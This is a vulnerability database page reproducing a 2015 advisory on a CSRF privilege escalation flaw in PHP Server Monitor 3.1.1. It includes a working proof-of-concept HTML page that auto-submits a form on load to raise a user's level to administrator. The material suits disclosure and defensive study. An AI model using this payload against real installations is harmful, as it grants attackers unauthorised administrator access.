Lucene search
K

PHP Server Monitor 3.1.1- CSRF Privilege Escalation Vulnerability

🗓️ 30 Oct 2015 00:00:00Reported by hyp3rlinxType 
zdt
 zdt
🔗 0day.today👁 14 Views

PHP Server Monitor 3.1.1 CSRF Privilege Escalatio

Code
<!--
[+] Credits: hyp3rlinx
 
[+] Website: hyp3rlinx.altervista.org
 
[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-PHPSRVMONITOR-PRIV-ESCALATE.txt
 
 
Vendor:
================================
www.phpservermonitor.org
sourceforge.net/projects/phpservermon/files/phpservermon/PHP%20Server%20Monitor%20v3.1.1/phpservermon-3.1.1.zip/download
 
 
Product:
================================
PHP Server Monitor 3.1.1
 
 
Vulnerability Type:
=================================
Privilege Escalation / CSRF
 
 
Vulnerability Details:
=====================
 
PHP Server Monitor uses level 20 for basic user and level 10 for Admins these are stored in Database. Basic users can elevate thier privileges to that of Administrator
by crafting an HTTP payload changing their level to '10' then getting an Administrator to click an infected link or visit a malicious website to launch an
CSRF attack which will grant the user admin access. This problem is due to no CSRF protection mechanism in place. 
 
 
Exploit code(s):
===============
 
1) privilege escalation / CSRF
-->
 
<!DOCTYPE>
<html>
<body onLoad="doit()">
<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
</script>
 
<form id="HELL" action="http://localhost/phpservermon-3.1.1/?&mod=user&action=save&id=3" method="post">
<input type="text" name="user_name" value="hyp3rlinx" >
<input type="text" name="name" value="hyp3rlinx">
<input type="text" name="level" value="10">
<input type="text" name="password" value="">
<input type="text" name="password_repeat" value="">
<input type="text" name="email" value="[email protected]">
<input type="text" name="mobile" value="">
<input type="text" name="pushover_key" value="">
<input type="text" name="pushover_device" value="">
</form>
 
 
</body>
</html>
 
 
<!--
Exploitation Technique:
=======================
Remote
 
 
Disclosure Timeline:
=========================================================
Vendor Notification: NA
Oct 30, 2015  : Public Disclosure
 
 
Severity Level:
=========================================================
High
 
 
Description:
==========================================================
 
 
Request Method(s):              [+]  POST
 
 
Vulnerable Product:             [+]  PHP Server Monitor 3.1.1
   
 
===========================================================
 
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.
 
by hyp3rlinx
-->

#  0day.today [2018-04-10]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Oct 2015 00:00Current
7.1High risk
Vulners AI Score7.1
14